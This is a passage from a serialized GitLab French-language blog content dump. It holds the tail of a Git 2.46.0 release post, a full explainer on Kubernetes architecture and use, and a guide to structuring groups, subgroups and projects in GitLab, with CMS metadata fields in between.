performances. Pour en savoir plus, consultez ce [fil de discussion](https://lore.kernel.org/git/CAKOHPAn1btewYTdLYWpW+fOaXMY+JQZsLCQxUSwoUqnnFN_ohA@mail.gmail.com/).\n\n## Migration des tests unitaires\n\nHistoriquement, pour tester Git, les développeurs utilisaient des scripts shell\npour réaliser des tests de bout en bout. Un framework de tests unitaires écrit en C a été récemment\nintégré au projet Git. Ce nouveau framework\npermet de tester en détail les implémentations à un niveau granulaire,\ntel que chaque appel de fonction, et complète les tests de bout en bout existants. Certains tests de bout en bout existants sont plus adaptés aux tests unitaires et sont donc de bons candidats pour le portage de tests.\n\nCette année, GitLab continu d'aider les contributeurs du [Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/) qui travaillent sur le projet Git. Grâce aux efforts déployés dans le cadre de ces projets GSoC et à la contribution de la communauté Git au sens large, certains tests existants sont révisés et migrés vers le framework de tests unitaires. Pour la sortie de la nouvelle version Git 2.46.0, plusieurs contributions ont été apportées dans le but d'améliorer les tests dans le projet Git. Pour suivre l'avancement de ces projets de contributeurs GSoC, consultez les blogs de [Chandra](https://chand-ra.github.io/) et [Ghanshyam](https://spectre10.github.io/posts/).\n\n## Correction du bundle URI\n\nEn général, lorsqu'un client récupère des données à partir d'un dépôt distant, tous les objets nécessaires\nsont envoyés dans un fichier groupé généré par le serveur distant. Pour éviter une partie de ce\ntraitement, les serveurs peuvent choisir de proposer des bundles prêts à l'emploi, stockés séparément du serveur distant, qui contiennent des ensembles de références et d'objets dont le client peut avoir besoin. Le client peut d'abord récupérer ces bundles grâce à un mécanisme appelé [bundle-uri](https://git-scm.com/docs/bundle-uri).\n\nGrâce à [Xing Xin](https://lore.kernel.org/git/pull.1730.git.1715742069966.gitgitgadget@gmail.com/), un problème a été identifié et corrigé : Git, malgré le téléchargement de certains bundles, continuait de télécharger tous les objets et les références depuis le dépôt distant, comme si aucun bundle n'avait été récupéré. La raison de ce problème était que Git ne découvrait pas correctement l'ensemble des bundles téléchargés, ce qui entraînait la nécessité de récupérer les bundles suivants depuis le dépôt distant. Grâce à cette correction, les dépôts distants utilisant le mécanisme bundle-uri peuvent éviter d'avoir à effectuer un travail redondant et ainsi améliorer les performances.\n\n## En savoir plus\n\nCet article n'a mis en évidence que quelques-unes des contributions apportées par GitLab et\nla communauté Git au sens large pour cette nouvelle version. Vous pouvez approfondir ce sujet en lisant [l'annonce officielle](https://lore.kernel.org/git/xmqqzfq0i0qa.fsf@gitster.g/T/#u) du projet Git. Consultez également nos [précédents articles de blog sur les nouvelles versions de Git](https://about.gitlab.com/blog/tags/git/) pour en découvrir davantage sur les contributions de l'équipe GitLab.",[1047,913,270],"2024-08-15",{"slug":2556,"featured":92,"template":683},"whats-new-in-git-2-46-0","content:fr-fr:blog:whats-new-in-git-2-46-0.yml","Whats New In Git 2 46 0","fr-fr/blog/whats-new-in-git-2-46-0.yml","fr-fr/blog/whats-new-in-git-2-46-0",{"_path":2562,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2563,"content":2569,"config":2574,"_id":2576,"_type":16,"title":2577,"_source":17,"_file":2578,"_stem":2579,"_extension":20},"/fr-fr/blog/kubernetes-the-container-orchestration-solution",{"title":2564,"description":2565,"ogTitle":2564,"ogDescription":2565,"noIndex":6,"ogImage":2566,"ogUrl":2567,"ogSiteName":841,"ogType":842,"canonicalUrls":2567,"schema":2568},"Kubernetes : tout savoir sur la solution d’orchestration des conteneurs","Kubernetes, également connue sous son diminutif K8s, est une solution open source incontournable pour déployer et maintenir des applications, notamment dans le cloud.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660215/Blog/Hero%20Images/kubernetes-container-orchestration-solution.jpg","https://about.gitlab.com/blog/kubernetes-the-container-orchestration-solution","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kubernetes : tout savoir sur la solution d’orchestration des conteneurs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-07-25\",\n      }",{"title":2564,"description":2565,"authors":2570,"heroImage":2566,"date":2571,"body":2572,"category":928,"tags":2573},[1253],"2024-07-25","Ce logiciel permet d'automatiser les tâches de déploiement et de gestion d'applications conteneurisées à grande échelle. \n\nKubernetes est devenu au fil du temps un outil essentiel en développement d'applications dans de nombreux domaines, comme les [microservices](https://about.gitlab.com/fr-fr/topics/microservices/ \"Que sont les microservices ? \"), les applications web et les bases de données. Ses performances et son évolutivité en font aujourd’hui un standard reconnu en gestion de conteneurs.\n\nDécouvrez dans cet article tout ce que vous devez savoir sur Kubernetes. \n\n- [Qu'est-ce que Kubernetes ?](#quest-ce-que-kubernetes)\n- [Comment fonctionne une architecture Kubernetes ?](#comment-fonctionne-une-architecture-kubernetes)\n- [Quels sont les avantages de Kubernetes ?](#quels-sont-les-avantages-de-kubernetes)\n- [Quelles sont les limites de Kubernetes ?](#quelles-sont-les-limites-de-kubernetes)\n- [Utiliser Kubernetes au sein de vos équipes](#utiliser-kubernetes-au-sein-de-vos-equipes)\n- [Kubernetes, Git et GitLab](#kubernetes-git-et-gitlab)\n\n## Qu'est-ce que Kubernetes ?\n\nKubernetes est un système [__open source__](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") qui permet d’orchestrer efficacement les conteneurs d'une application informatique. La __conteneurisation__ est une approche largement plébiscitée en développement d'applications TIC, particulièrement dans les domaines de la transformation digitale et du cloud.\n\nSi la notion de conteneurs ne vous est pas familière, sachez qu'il s'agit d'une méthode de développement d'application qui consiste à regrouper les composants d'une application dans des unités standardisées – des conteneurs – qui sont indépendants des appareils et des systèmes d'exploitation sur lesquels ils se trouvent. En isolant les applications de leur environnement, cette technologie __facilite leur déploiement, leur portabilité, et limite des conflits d'interopérabilité.__\n\nC'est à ce niveau que nous utilisons le logiciel Kubernetes. Certes, les conteneurs permettent de découper les applications en modules plus petits et autonomes, facilitant ainsi leur déploiement. Mais pour que les conteneurs puissent interagir au sein d'une application, un système de gestion englobant ces modules est nécessaire. C'est précisément ce que Kubernetes permet de faire ! Kubernetes fournit une plateforme pour contrôler où et comment les conteneurs s'exécutent, de façon à orchestrer et à planifier leur exécution pour gérer des applications conteneurisées à grande échelle. \n\n## Comment fonctionne une architecture Kubernetes ?\n\nPour comprendre comment fonctionne une __architecture Kubernetes__, il est essentiel de se familiariser avec certaines notions, à commencer par celle du cluster, qui est l'échelle la plus large de l'architecture. \n\n### Cluster Kubernetes\n\nUn __cluster Kubernetes__ se définit comme l'ensemble des __machines virtuelles__ ou physiques sur lesquelles est installée une __application conteneurisée__.\n\n![Components of Kubernetes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673941/Blog/Content%20Images/components-of-kubernetes.png)\n*Source: [Kubernetes](https://kubernetes.io/docs/concepts/overview/components/ \"Kubernetes website\")*.\n\nCe cluster comprend différents éléments :\n\n- __Nœud (Node) :__ c'est une unité de travail dans un cluster Kubernetes. Il s'agit d'une machine virtuelle (VM) ou physique (bare-metal) qui exécute des tâches pour le compte de l'application.\n- __Pod :__ un pod est la plus petite unité déployable dans Kubernetes. Il représente un groupe de conteneurs fonctionnant ensemble sur un même nœud. Les conteneurs à l'intérieur d'un pod partagent le même réseau et peuvent communiquer entre eux via localhost.\n- __Service :__ un service Kubernetes permet d'exposer un pod au réseau ou à d'autres pods. Il offre un point d'accès stable et bien défini vers les applications hébergées par les pods.\n- __Volume :__ une abstraction de dossier qui permet de résoudre des problèmes de partage et de récupération des fichiers au sein d'un conteneur.\n- __Namespace (espace de nommage) :__ un namespace permet de grouper et d’isoler des ressources afin de former un cluster virtuel.\n\nL'architecture de Kubernetes repose sur deux principaux types de nœuds : le __nœud maître__ *(master)* et les nœuds ouvriers ou nœuds de travail *(__worker nodes__)*. Le nœud maître est responsable de la gestion globale du cluster Kubernetes et de la communication avec les __nœuds de travail__. Parmi ses composantes clés, l'API est le point de contact central pour toutes les communications entre les utilisateurs et le cluster. L'[Etcd](https://kubernetes.io/fr/docs/concepts/overview/components/#etcd \"Etcd\") est la base de données clé-valeur où sont stockées les configurations, l'état du système et les métadonnées des objets. Le controller manager coordonne les opérations d'arrière-plan telles que la réplication des pods, et le scheduler place les pods sur les nœuds en fonction des ressources disponibles.\n\nLes nœuds de travail, quant à eux, sont les machines qui exécutent et gèrent les applications contenues dans les pods. En leur sein, le [kubelet](https://kubernetes.io/fr/docs/concepts/overview/components/#kubelet \"Kubelet\") est l'agent qui s'exécute sur chaque nœud et communique avec le maître pour recevoir les commandes et transmettre l'état des pods. Le proxy réseau ou [kube-proxy](https://kubernetes.io/fr/docs/concepts/overview/components/#kube-proxy \"Kube-proxy\") maintient les règles réseau sur les nœuds pour permettre l'accès aux services depuis l'extérieur du cluster Kubernetes. Enfin, le container runtime est le logiciel responsable de l'exécution et la gestion des conteneurs au sein des pods.\n\n### Boucles de réconciliation\n\nLes __boucles de réconciliation (ou control loops)__ de K8s sont un mécanisme qui permet au système de maintenir un état cohérent et fiable. Kubernetes suit un __modèle déclaratif__, où l'utilisateur spécifie l'__état désiré__ d'un cluster à travers des manifestes YAML, comme le nombre de réplicas d’un déploiement, la configuration réseau, les volumes attachés, et plus encore. L’__état courant__, en revanche, est la représentation en temps réel de l’état effectif des ressources dans le cluster. \n\nLa __boucle de réconciliation__ est un processus continu dans lequel les __contrôleurs Kubernetes__ (comme le Deployment Controller, le Node Controller ou le ReplicaSet Controller) surveillent l’état actuel et tentent de l’ajuster pour qu’il corresponde à l’état souhaité. Lorsqu’une divergence est détectée (ex. un pod est supprimé ou un nœud devient indisponible), Kubernetes agit automatiquement pour restaurer la conformité en appliquant les correctifs nécessaires. Ce mécanisme permet à Kubernetes d'être __auto-réparateur__ et de garantir la haute disponibilité et la stabilité des applications déployées.\n\n### Manifestes\n\nPour décrire et gérer les ressources dans Kubernetes, nous utilisons des manifestes, c'est-à-dire des fichiers de configuration au format YAML ou JSON. Ces fichiers définissent l’état désiré d’un objet Kubernetes, comme un Pod, un Service ou un Déploiement. Un manifeste spécifie des paramètres essentiels tels que l’image du conteneur, le __nombre de réplicas__, les volumes ou les règles de mise en réseau. Une fois appliqué avec la commande `kubectl apply -f`, Kubernetes compare cet état désiré à l’état courant du cluster et ajuste les ressources pour garantir leur conformité. \n\n### Et Docker dans tout ça ?\n\nParmi tous les composants d'un cluster K8s, le choix du runtime au sein des nœuds de travail est important. Différents logiciels sont disponibles pour cela, comme rkt ou CRI-O, mais Docker est l'outil le plus couramment utilisé. Alors, qu'est-ce que Docker ? Et quelle est la différence entre Docker et Kubernetes ?\n\nDocker est une solution open source qui s'utilise spécifiquement au niveau des conteneurs. Il permet de __packager les conteneurs__ dans un format standardisé et léger, ce qui augmente leur portabilité dans différents environnements. C'est donc un outil complémentaire à K8s qui facilite la gestion des conteneurs en eux-mêmes, tandis que Kubernetes simplifie leur intégration et communication au sein de l'application.\n\n## Quels sont les avantages de Kubernetes ?\n\nLancée par Google en 2014, la première version stable de Kubernetes est apparue en juillet 2015. Depuis lors, la popularité de ce logiciel ne se dément pas, faisant de K8s une référence dans le domaine de l'orchestration de conteneurs, particulièrement pour les architectures orientées microservices. Mais alors, pourquoi utiliser Kubernetes ? Ce succès s'explique avant tout par les excellentes performances de ce logiciel en __orchestration de conteneurs__. \n\nLes avantages de Kubernetes sont nombreux : \n\n- __Automatisation :__  Kubernetes facilite l'automatisation des tâches liées au déploiement, au dimensionnement et à la mise à jour des applications conteneurisées.\n- __Flexibilité :__ le logiciel s'adapte à différentes technologies de conteneurs, diverses architectures matérielles et systèmes d'exploitation.\n- __Scalabilité :__  K8s permet de déployer et de gérer facilement des milliers de conteneurs, quel que soit leur état : en cours d'exécution, en pause, ou arrêtés.\n- __Migration :__  il est possible de migrer facilement des applications vers Kubernetes, sans avoir à modifier le code source.\n- __Support multi-cluster :__ Kubernetes permet de gérer de manière centralisée plusieurs clusters de conteneurs répartis sur différentes infrastructures.\n- __Gestion des mises à jour :__ Le logiciel prend en charge les déploiements rolling-update pour mettre à jour les applications sans interruption de service. \n\n### Un écosystème robuste et évolutif\n\nKubernetes se distingue ainsi par sa capacité à gérer les conteneurs de manière performante et sûre, tout en maintenant une indépendance vis-à-vis des fournisseurs d'infrastructures cloud. Son architecture modulaire s'adapte aux besoins spécifiques de chaque entreprise, et supporte un très large éventail d'applications et de services (services Web, traitement de données, applications mobiles, etc.).\n\nDans la course à la transformation digitale, Kubernetes convainc aussi grâce à son écosystème riche et extensible au sein de la communauté open source. Géré par la *__Cloud Native Computing Foundation (CNCF)__*, K8s est porté par des milliers de développeurs et développeuses partout dans le monde. Ils contribuent au développement du projet et à l'amélioration continue de ses fonctionnalités. \n\n## Quelles sont les limites de Kubernetes ?\n\nLes avantages de Kubernetes en font un choix sûr pour de nombreuses équipes de développement dans le domaine des applications [cloud-native](https://about.gitlab.com/fr-fr/topics/cloud-native/ \"Qu'est-ce que l'approche cloud-native ?\"). Néanmoins, il convient de souligner certaines limites. Kubernetes demande un solide bagage technique et de se former à de nouveaux concepts et méthodes de développement. Le logiciel peut être complexe à configurer en début de projet. La configuration est cependant cruciale, notamment pour sécuriser la plateforme. Disposer d'une équipe de développement expérimentée en __projet K8s__ constitue donc un sérieux atout. \n\nAutre difficulté, la mise en place et la maintenance d'une architecture K8s requièrent aussi du temps et des ressources, notamment pour mettre à jour ses différents composants et logiciels. Cela pose la question d'un possible surdimensionnement. Dans le cas d'une petite application, ou d'un projet sans challenge particulier en termes de scalabilité, une architecture plus basique peut suffire tout en se montrant plus économe. \n\n## Utiliser Kubernetes au sein de vos équipes\n\nDes dizaines de milliers d'entreprises ont adopté une architecture Kubernetes pour mener à bien leur transition digitale. K8s est utilisé par des sociétés de toutes tailles, des startups aux multinationales. \n\nLes exemples d'intégrations réalisées avec succès sont nombreux, comme pour la société Haven Technologies. Haven Technologies a migré ses services SaaS vers K8s et mise notamment sur une stratégie Kubernetes avec la plateforme DevSecOps de GitLab afin d’aider ses équipes à améliorer l'efficacité, la sécurité et la vitesse de développement logiciel. Consultez [notre cas client](https://about.gitlab.com/customers/haven-technologies/ \"Cas client Haven Technologies\") pour en savoir plus !   \n\n## Kubernetes, Git et GitLab\n\nKubernetes, Git et GitLab sont des éléments essentiels du paysage [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Que signifie DevOps ? \"). Kubernetes offre une grande flexibilité pour déployer et gérer les différents composants d’une application. De son côté, GitLab construit autour de [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") et de son système de contrôle de version natif, permet un suivi rigoureux et précis du code source et des changements, tout en fournissant une suite d'outils complète pour gérer l'ensemble du cycle de vie du développement logiciel. \n\nCette combinaison, associée à une [approche GitOps](https://about.gitlab.com/fr-fr/topics/gitops/ \"Approche GitOps\"), dont l’objectif est d’automatiser le provisionnement des infrastructures cloud modernes, crée un environnement agile de développement et déploiement des applications et permet ainsi de fournir des logiciels puissants, flexibles et évolutifs. Pour aller plus loin, [découvrez toutes les solutions de GitLab pour lancer une application avec Kubernetes](https://about.gitlab.com/fr-fr/solutions/kubernetes/ \"Solutions GitLab pour lancer une application avec Kubernetes\"). \n\n## FAQ sur Kubernetes\n\n### Quelles sont les solutions concurrentes à K8s ?\n\nIl existe plusieurs alternatives à Kubernetes, parmi lesquelles Docker Swarm ou Marathon. Cependant, Kubernetes est considérée comme la solution la plus mature et la plus populaire sur le marché. Sa large base d'utilisateurs, sa documentation abondante et son support actif par la communauté font de Kubernetes un excellent choix pour ceux qui cherchent à adopter un système d'orchestration de conteneurs.\n\n### Qu’est-ce qu’un cluster Kubernetes ?\n\nUn cluster Kubernetes est composé d'un nœud maître et de plusieurs nœuds de travail. Le nœud maître est responsable de la coordination des tâches dans le cluster, tandis que les nœuds de travail exécutent ces tâches d'orchestration et hébergent les conteneurs. Les clusters K8s sont hautement évolutifs - on peut ajouter ou supprimer des nœuds pour adapter les ressources du cluster aux besoins de l'application.\n\n### Quelle est la différence entre Kubernetes et Docker ?\n\nDocker permet de créer, exécuter et gérer des conteneurs individuellement, tandis que Kubernetes orchestre ces conteneurs sur un cluster en automatisant leur déploiement, mise à l’échelle et maintenance. Docker gère l’environnement d’exécution, Kubernetes assure la coordination et la résilience des applications conteneurisées.\n\n### Comment débuter avec Kubernetes ?\n\nPour commencer, il est nécessaire d'installer le logiciel Kubernetes sur un environnement compatible (Linux, macOS ou Windows). Kubernetes peut être installé au sein d'un hébergement classique mais aussi dans un environnement cloud ([Google Kubernetes Engine](https://about.gitlab.com/fr-fr/partners/technology-partners/google-cloud-platform/ \"Google Kubernetes Engine\") ou [Amazon EKS](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/ \"Amazon EKS\") par exemple). Les utilisateurs peuvent télécharger et installer Kubernetes directement depuis leur site officiel, puis procéder à la configuration initiale nécessaire pour connecter les nœuds maître et de travail. Une fois cette étape réalisée, l'utilisateur est prêt à déployer une première application en utilisant Kubernetes.\n\n### Pourquoi choisir Kubernetes ?\n\nKubernetes offre une grande flexibilité et une portabilité totale entre différentes plateformes cloud ou infrastructures sur site. Grâce à l'automatisation des tâches d'orchestration, K8s permet d'optimiser les ressources, de réduire les coûts d'exploitation et de libérer du temps pour les développeurs et les administrateurs systèmes. Enfin, l'écosystème Kubernetes est vaste et continuellement développé par une large communauté open source, ce qui permet d'innover rapidement.\n",[1688,913],{"slug":2575,"featured":6,"template":683},"kubernetes-the-container-orchestration-solution","content:fr-fr:blog:kubernetes-the-container-orchestration-solution.yml","Kubernetes The Container Orchestration Solution","fr-fr/blog/kubernetes-the-container-orchestration-solution.yml","fr-fr/blog/kubernetes-the-container-orchestration-solution",{"_path":2581,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2582,"content":2588,"config":2596,"_id":2598,"_type":16,"title":2599,"_source":17,"_file":2600,"_stem":2601,"_extension":20},"/fr-fr/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"ogTitle":2583,"schema":2584,"ogImage":2585,"ogDescription":2586,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2587,"title":2583,"canonicalUrls":2587,"description":2586},"Créez une hiérarchie organisationnelle évolutive avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment mettre en place une hiérarchie organisationnelle évolutive avec GitLab ? \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-22\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098165/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750098164666.png","Découvrez comment organiser vos équipes et vos projets dans GitLab avec une structure hiérarchique efficace.","https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"heroImage":2585,"body":2589,"authors":2590,"updatedDate":2591,"date":2592,"title":2593,"tags":2594,"description":2595,"category":1480},"Tirez pleinement parti de votre [abonnement GitLab](https://about.gitlab.com/fr-fr/pricing/ \"Page tarification de GitLab\") en structurant vos équipes et vos projets avec une hiérarchie efficace. Ce guide pratique vous explique comment configurer et structurer votre workflow en groupes, sous-groupes et projets afin d'optimiser votre utilisation de GitLab et d'améliorer votre expérience de développement logiciel.\n\n## Comprendre la structure : groupes, sous-groupes et projets\n\nOrganiser votre workflow en groupes et projets dans GitLab vous permet de refléter la hiérarchie de votre entreprise, afin de faciliter la gestion des autorisations et de bénéficier d'une planification en « équipe d'équipes ». \n\nAvec les groupes et sous-groupes, vos équipes peuvent mieux planifier leur stratégie de développement logiciel et la gestion des projets s'en trouve simplifiée. Vous pouvez affiner cette structure en créant ensuite des sous-groupes et des sous-projets.\n\nVous pouvez en outre structurer vos chaînes de valeur pour améliorer la gestion de projet et la collaboration au sein de votre entreprise.\n\n__Les projets__\n\n- Intégrés au sein des groupes ou des sous-groupes, les projets représentent l'espace de travail de vos équipes. C'est là que l'on retrouve les dépôts et que les paramètres spécifiques au projet sont gérés. Vous pouvez ainsi garder un œil sur les activités quotidiennes et suivre les projets en détail à ce niveau. \n- Une configuration de projet efficace garantit la clarté et l'organisation des données, ce qui est essentiel pour l’établissement de rapports et d'analyses précis.\n\n__Les sous-groupes__\n\n- Les sous-groupes permettent une gestion granulaire des autorisations. Ils peuvent être adaptés aux besoins spécifiques des équipes ou des projets, garantissant ainsi la cohérence des workflows au sein de votre entreprise.\n- Les sous-groupes fonctionnent comme des clusters de projets connexes, similaires au fonctionnement d'une « équipe d'équipes » propre aux principes Agile. \n- Ce niveau hiérarchique est idéal pour gérer plusieurs équipes travaillant sur le même produit ou service. Il améliore la visibilité et l'intégration inter-projets, facilitant ainsi la coordination entre les équipes pour veiller à qu'elles soient correctement alignées en termes d'interdépendances et d'objectifs communs.\n\n__Les groupes__\n\n- Les groupes constituent les piliers de l'organisation des équipes et du workflow dans GitLab. Les autorisations et les accès étendus sont gérés depuis ces groupes.\n- Situés au sommet de la structure hiérarchique, les groupes englobent plusieurs sous-groupes et représentent le niveau stratégique de la gestion de projet, semblable à « l'équipe de l'équipe d'équipes » de la méthode Agile.\n- C'est à ce niveau que sont établis les stratégies et les objectifs globaux, que les paramètres sont définis et que les ressources sont allouées entre les projets et les sous-groupes pour assurer leur alignement avec les objectifs commerciaux globaux de l'entreprise.\n\nLa structure de votre organisation dans GitLab reflète la méthodologie Agile que vous avez adoptée, facilitant ainsi l'application des principes Agile à l'ensemble de vos projets. Cette structure favorise des lignes de communication claires, une gestion efficace des ressources et un alignement stratégique, tout en conservant la flexibilité et la réactivité inhérentes aux méthodologies Agile.\n\n> [Essayez GitLab Ultimate gratuitement](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essayez GitLab Ultimate gratuitement\") et mettez en place votre propre hiérarchie organisationnelle. \n\n## Exploiter les mécanismes d'héritage de GitLab\n\nLes [mécanismes d'héritage](https://docs.gitlab.com/ee/tutorials/scrum_events/index.html#understanding-the-inheritance-model-in-gitlab) constituent l'une des fonctionnalités les plus puissantes de GitLab. Avec ces mécanismes, les paramètres, autorisations et configurations définis aux niveaux hiérarchiques supérieurs s'appliquent automatiquement aux niveaux hiérarchiques inférieurs. À l'inverse, les données des niveaux inférieurs sont instantanément disponibles aux niveaux supérieurs de la structure. Ces mécanismes d'héritage améliorent la visibilité sur l'ensemble de votre portefeuille de projets à partir des groupes du niveau hiérarchique supérieur, tout en fournissant des espaces distincts plus bas dans la hiérarchie, permettant à chaque équipe de gérer son travail de manière autonome et spécifique.\n\nExemples :\n- **Créez dans vos groupes de niveau supérieur des jalons et des labels** pour qu'ils s'appliquent automatiquement à tous les sous-groupes et projets sous-jacents. De cette manière, vous maintenez une certaine cohérence au sein de votre structure. \n- **Les tickets et les epics** dans les projets et les sous-groupes de niveau inférieur s'intègrent dans votre hiérarchie de chaîne de valeur. Ainsi, les responsables de programme et les cadres dirigeants peuvent facilement s'y référer.\n- **Gérez les autorisations des utilisateurs au niveau du groupe ou du sous-groupe du niveau hiérarchique supérieur** afin d'optimiser les autorisations et le contrôle d'accès. La gestion du contrôle d'accès s'en trouve simplifiée et vous veillez ainsi à ce que les bonnes personnes disposent des autorisations d'accès adéquates aux différents projets sans avoir à répliquer les configurations maintes fois.\n\nEn plus d'optimiser les frais administratifs, ces conseils vous permettent de renforcer également la sécurité et la conformité en veillant à ce que les changements apportés au niveau supérieur se propagent systématiquement vers le bas de la structure hiérarchique.\n\n![Diagramme de la hiérarchie au sein d'une entreprise](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098179305.png)\n\n## Bonnes pratiques pour la configuration de GitLab\n\nLorsque vous configurez la hiérarchie de votre workflow et de vos équipes dans GitLab, nous vous recommandons les options suivantes en fonction de vos besoins. Les clients de GitLab Self-Managed ont la possibilité d'omettre le groupe racine « Nom de l'entreprise », car ce niveau hiérarchique supplémentaire n'est pas nécessaire pour les déploiements auto-gérés. Cette flexibilité garantit que votre configuration GitLab est adaptée à votre structure organisationnelle et à vos préférences de déploiement.\n\n### Option 1 : les autorisations et les accès sont accordés au niveau du sous-groupe\n\nCette option est idéale pour les structures d'autorisations complexes ou les grandes entreprises ayant besoin de partager des projets efficacement entre de nombreux utilisateurs.\n\n#### Exemple de structure\n\n__Groupe au niveau entreprise__\n- Il gère les autorisations étendues, généralement par le biais d'intégrations avec les systèmes de provisionnement d'entreprise.\n- Les utilisateurs sont ajoutés à des sous-groupes, qui servent de base pour partager l'ensemble du groupe avec un autre [groupe](https://docs.gitlab.com/ee/user/group/manage.html#share-a-group-with-another-group) ou [projet](https://docs.gitlab.com/ee/user/project/members/share_project_with_groups.html). Cela permet de réduire la complexité de la gestion individuelle des accès et des autorisations accordés aux utilisateurs.\n- Lors de la création de groupes d'utilisateurs, vous pouvez utiliser les [mentions de groupe](https://docs.gitlab.com/ee/user/discussions/index.html#mentions) dans GitLab pour notifier simultanément un grand nombre d'utilisateurs à la fois.\n\n__Groupe au niveau développement__\n\n- Situé au sommet de la structure hiérarchique, ce groupe offre une visibilité aux membres de la direction et aux responsables de programme sur tous les projets de développement en cours.\n- Les fonctionnalités sont créées au niveau des sous-groupes pour permettre l'accès à plusieurs dépôts.\n- Les projets sont créés pour regrouper les différents dépôts de développement ; ce niveau offre une visibilité pour les équipes.\n\n![Organigramme illustrant le niveau des sous-groupes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/Image_1_aHR0cHM6_1750098179306.png)\n\n### Option 2 : les autorisations et les accès sont accordés à tous les niveaux\nCette option est idéale pour les petites entreprises ayant des exigences d'accès moins complexes. Les utilisateurs sont ajoutés individuellement aux groupes, sous-groupes ou projets, en fonction des accès requis. Cela permet de contrôler directement la gestion de projet et la visibilité opérationnelle.\n\n#### À retenir\n- Les utilisateurs peuvent être ajoutés à un groupe au sommet de la hiérarchie ou à un sous-groupe/projet de niveau inférieur en fonction de la granularité des besoins d'accès. Chaque membre doit être ajouté individuellement, contrairement à d'autres méthodes où vous pouvez partager un groupe avec plusieurs utilisateurs en une seule action.\n- Les membres de la direction et les responsables de programme disposent d'une visibilité sur tous les projets de développement, au niveau du groupe de développement le plus élevé de la hiérarchie.  \n- Les fonctionnalités sont créées au niveau des sous-groupes pour permettre l'accès à plusieurs dépôts.\n- Les projets sont créés pour regrouper les différents dépôts de développement ; ce niveau offre une visibilité pour les équipes.\n\n![Autorisations accordées à tous les niveaux](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/Image_2_aHR0cHM6_1750098179307.png)\n\n###  Autres considérations relatives à la configuration\n\n__Les jalons et les itérations__ \n- Créez des jalons au niveau du groupe pour plus de visibilité ou lorsqu'ils doivent être partagés entre différents groupes.\n- Créez des jalons au niveau du projet lorsque le jalon est spécifique à un seul projet.\n- Lorsque les équipes travaillent dans différents groupes, la définition d'itérations au niveau du groupe parent permet un suivi unifié.\n\n__La gestion des données__\n- Exploitez les roadmaps, tableaux et listes de GitLab pour en extraire des données qui reflètent précisément la manière dont votre entreprise est structurée et gère ses projets. Vous pouvez ainsi visualiser les progrès et planifier efficacement à différents niveaux de votre structure hiérarchique.\n- GitLab met les données à disposition dans les groupes de niveau supérieur, même lorsqu'elles sont créées à des niveaux inférieurs.\n- Créez vos vues à des niveaux supérieurs de la structure hiérarchique lorsque vous souhaitez visualiser des données sur l'ensemble des groupes et projets et à des niveaux inférieurs lorsque vous souhaitez vous concentrer sur les données d'un groupe ou d'un projet spécifique.\n\n__La création de modèles__\n- Créez des modèles de niveau supérieur pour vous assurer qu'ils s'appliquent automatiquement à tous les sous-groupes et projets sous-jacents. Ces modèles doivent combiner des lignes directrices générales avec les exigences spécifiques au projet.\n- Les modèles sont créés dans leur propre dépôt au sein du groupe concerné (Consultez notre [documentation](https://docs.gitlab.com/ee/user/project/description_templates.html)).\n\n__Les labels__\n- Créez des labels de niveau supérieur pour vous assurer qu'ils s'appliquent automatiquement à tous les sous-groupes et projets sous-jacents. Ces labels doivent combiner des labels relatifs à l'entreprise avec des labels spécifiques à chaque projet.\n- Utilisez des labels à portée limitée (ou Scoped Labels) pour définir des structures organisationnelles, telles que les équipes et le statut des workflows.\n\n![Tableau des tickets avec des labels](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098179310.png)\n\n## Exploitez les fonctionnalités de GitLab pour des performances optimales\n\nLa mise en œuvre d'une structure adaptée dans GitLab simplifie non seulement la gestion de vos projets de développement logiciel, mais améliore également la visibilité à différents niveaux de votre entreprise. De cette façon, chaque membre de l'entreprise dispose des informations dont il a besoin, de l'équipe de direction aux contributeurs individuels, pour prendre des décisions éclairées.\n\n> [Essayez GitLab Ultimate gratuitement](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essayez GitLab Ultimate gratuitement\") et mettez en place votre propre hiérarchie organisationnelle.\n",[1477],"2024-09-17","2024-07-22","Comment mettre en place une hiérarchie organisationnelle évolutive avec GitLab ?",[1482,675,1067],"Découvrez comment organiser vos équipes et vos projets dans GitLab avec une structure hiérarchique efficace, des lignes de communication claires, un alignement stratégique et bien plus encore.",{"slug":2597,"featured":6,"template":683},"best-practices-to-set-up-organizational-hierarchies-that-scale","content:fr-fr:blog:best-practices-to-set-up-organizational-hierarchies-that-scale.yml","Best Practices To Set Up Organizational Hierarchies That 